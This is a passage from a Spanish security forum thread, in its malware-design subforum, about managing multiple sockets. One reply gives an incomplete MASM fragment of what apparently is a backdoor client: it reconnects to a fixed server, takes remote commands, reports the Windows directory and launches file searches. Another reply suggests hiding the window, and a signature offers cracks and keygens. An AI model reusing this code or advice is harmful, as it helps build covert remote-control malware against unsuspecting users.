elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Administrar múltiples sockets
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: Administrar múltiples sockets  (Leído 7,606 veces)
daryo


Desconectado Desconectado

Mensajes: 1.070



Ver Perfil WWW
Re: Administrar múltiples sockets
« Respuesta #10 en: 15 Febrero 2014, 20:58 pm »

hace algun tiempo me tope con el mismo problema y encontre varios codigos y algunos tutos del tema(ya no recuerdo donde)q talves puedan servir, para windows
https://gist.github.com/daryo963/9f619aed67ac632987ad

y si usan threads

um se me olvido preguntar de que lenguaje estamos hablando?
« Última modificación: 15 Febrero 2014, 21:01 pm por daryo » En línea

buenas
.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Re: Administrar múltiples sockets
« Respuesta #11 en: 15 Febrero 2014, 23:11 pm »

¿Qué le pasa a el foro este último tiempo?, no paran de prestar una muy buena disposición. Muchas gracias por toda la info :)

Lenguaje puede ser: MASM, C, C++ (creo poder entenderlo), Java

Saludos
En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
Vaagish


Desconectado Desconectado

Mensajes: 875



Ver Perfil
Re: Administrar múltiples sockets
« Respuesta #12 en: 16 Febrero 2014, 02:17 am »

En MASM:

Lo podes declarar algo asi al socket:
Código
  1. ThreadProc PROC
  2.  
  3. invoke Sleep, 5000
  4. invoke WSAStartup, addr WsaV, addr wsa
  5. invoke socket, AF_INET, SOCK_STREAM, 0
  6. mov Sock, eax
  7. invoke WSAAsyncSelect, Sock, hwnd, WM_SOCK, FD_CONNECT or FD_CLOSE or FD_READ
  8. mov sa.sin_family, AF_INET
  9.  
  10. invoke inet_addr, addr Direc
  11. mov sa.sin_addr, eax
  12.  
  13. invoke htons, Puerto
  14. mov sa.sin_port, ax
  15.  
  16. invoke connect, Sock, addr sa, sizeof sa
  17.  
  18. ret
  19. ThreadProc ENDP

Y lo usas algo asi:
Código
  1. WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
  2.  
  3. .IF uMsg==WM_DESTROY
  4.  
  5. invoke PostQuitMessage, NULL
  6.  
  7. .ELSEIF uMsg==WM_CREATE
  8.  
  9. mov eax, OFFSET ThreadCop
  10. invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, addr ThreadID2
  11. invoke CloseHandle, eax
  12.  
  13. .ELSEIF uMsg==WM_FINISH
  14.  
  15. ;El Thread Copiar Termino, Inicio El Thread Conectar..
  16. mov eax, OFFSET ThreadProc
  17. invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, ADDR ThreadID
  18. invoke CloseHandle, eax
  19.  
  20. .ELSEIF uMsg==WM_SOCK
  21.  
  22. mov edx, lParam
  23.  
  24. .IF dx==FD_CONNECT
  25.  
  26. shr edx, 16
  27. .IF dx==NULL
  28. ; Si dx esta vacio, significa conexion exitosa, sino podemos evaluar el ErrorCode
  29. ; en dx, los errores son constantes
  30. invoke wsprintf, addr Cnex, addr Saludo, addr RegBuffer
  31. invoke send, Sock, addr Cnex, sizeof Cnex, 0
  32.  
  33. .ELSE
  34.  
  35. mov eax, OFFSET ThreadProc
  36. invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, ADDR ThreadID
  37. invoke CloseHandle, eax
  38.  
  39. .ENDIF
  40.  
  41. .ELSEIF dx==FD_CLOSE
  42.  
  43. shr edx, 16
  44. .IF dx!=NULL
  45. mov eax, OFFSET ThreadProc
  46. invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, ADDR ThreadID
  47. invoke CloseHandle, eax
  48. ; Podemos evaluar a dx para saber el ErrorCode, en este caso no se precisa,, cualquier
  49. ; Desconexion remota significa volver a conectarse ;)
  50. .ENDIF
  51.  
  52. .ELSEIF dx==FD_READ
  53.  
  54. shr edx, 16
  55. .IF dx==NULL
  56.  
  57. invoke memfill, addr buffer, sizeof buffer, 0
  58. invoke memfill, addr Dato1, sizeof Dato1, 0
  59. invoke memfill, addr Dato2, sizeof Dato2, 0
  60.  
  61. invoke recv, Sock, addr buffer, SIZEOF buffer, 0
  62.  
  63. mov ecx, -1
  64. mov ebx, -1
  65.     Repite:
  66.         inc ecx
  67.         mov al, byte ptr ds:[buffer + ecx]
  68. cmp al, '|'
  69. je Salta
  70. mov [Dato1 + ecx], al
  71. jmp Repite
  72. Salta:
  73. inc ecx
  74. inc ebx
  75. cmp byte ptr ds:[buffer + ecx], 0
  76.         je Salir
  77.         mov al, byte ptr ds:[buffer + ecx]
  78.         mov [Dato2 + ebx], al
  79. jmp Salta
  80. Salir:
  81. invoke szCmp, addr Dato1, addr Find
  82. .if eax!=0
  83.  
  84. invoke szCmp, addr Dato2, addr WinDir
  85. .if eax!=0
  86.  
  87. invoke LoadLibrary, addr Kn32
  88. invoke GetProcAddress, eax, addr GWD
  89. push MAX_PATH
  90.     push offset Ruta
  91.     call eax
  92.  
  93.     invoke wsprintf, addr WinR, addr WinFrmt, addr Ruta
  94.     invoke send, Sock, addr WinR, sizeof WinR, 0
  95.  
  96. invoke wsprintf, addr Bfr, addr Frmt, addr Ruta
  97. mov eax, OFFSET ThreadBus
  98. invoke CreateThread, NULL, NULL, eax, addr Bfr, NORMAL_PRIORITY_CLASS, addr ThreadID3
  99. invoke CloseHandle, eax
  100.  
  101. .else
  102.  
  103. mov eax, OFFSET ThreadBus
  104. invoke CreateThread, NULL, NULL, eax, addr Dato2, NORMAL_PRIORITY_CLASS, addr ThreadID3
  105. invoke CloseHandle, eax
  106.  
  107. .endif
  108.  
  109. .endif
  110.  
  111.  
  112. .ENDIF

Es complicado entenderlo asi.. pero a lo mejor te puede dar una idea..

Suerte!!
En línea

Arkangel_0x7C5


Desconectado Desconectado

Mensajes: 361



Ver Perfil
Re: Administrar múltiples sockets
« Respuesta #13 en: 16 Febrero 2014, 02:44 am »

Vaagish

Pero asi necesitas de una ventana para el bucle de eventos, el no tiene porque tener una ventana.....

En línea

Vaagish


Desconectado Desconectado

Mensajes: 875



Ver Perfil
Re: Administrar múltiples sockets
« Respuesta #14 en: 16 Febrero 2014, 07:14 am »

Ajam.. pero podría ocultarla..  :silbar: Es una posibilidad..  :rolleyes:

Saludos!!
En línea

Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Multiples Bucles o Multiples Esperas
.NET (C#, VB.NET, ASP)
DarkMatrix 8 5,189 Último mensaje 5 Septiembre 2011, 23:11 pm
por EddyW
Sockets C#: Multiples Conexiones
Programación General
9ttnix 0 2,584 Último mensaje 29 Mayo 2013, 23:11 pm
por 9ttnix
Abrir multiples conexiones Sockets C « 1 2 »
Programación C/C++
mester 13 6,559 Último mensaje 11 Noviembre 2015, 19:21 pm
por ivancea96
[Sockets] Conexiones múltiples de clientes a servidor.
Programación C/C++
Zodiak98 6 5,211 Último mensaje 25 Enero 2016, 00:42 am
por sodark
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines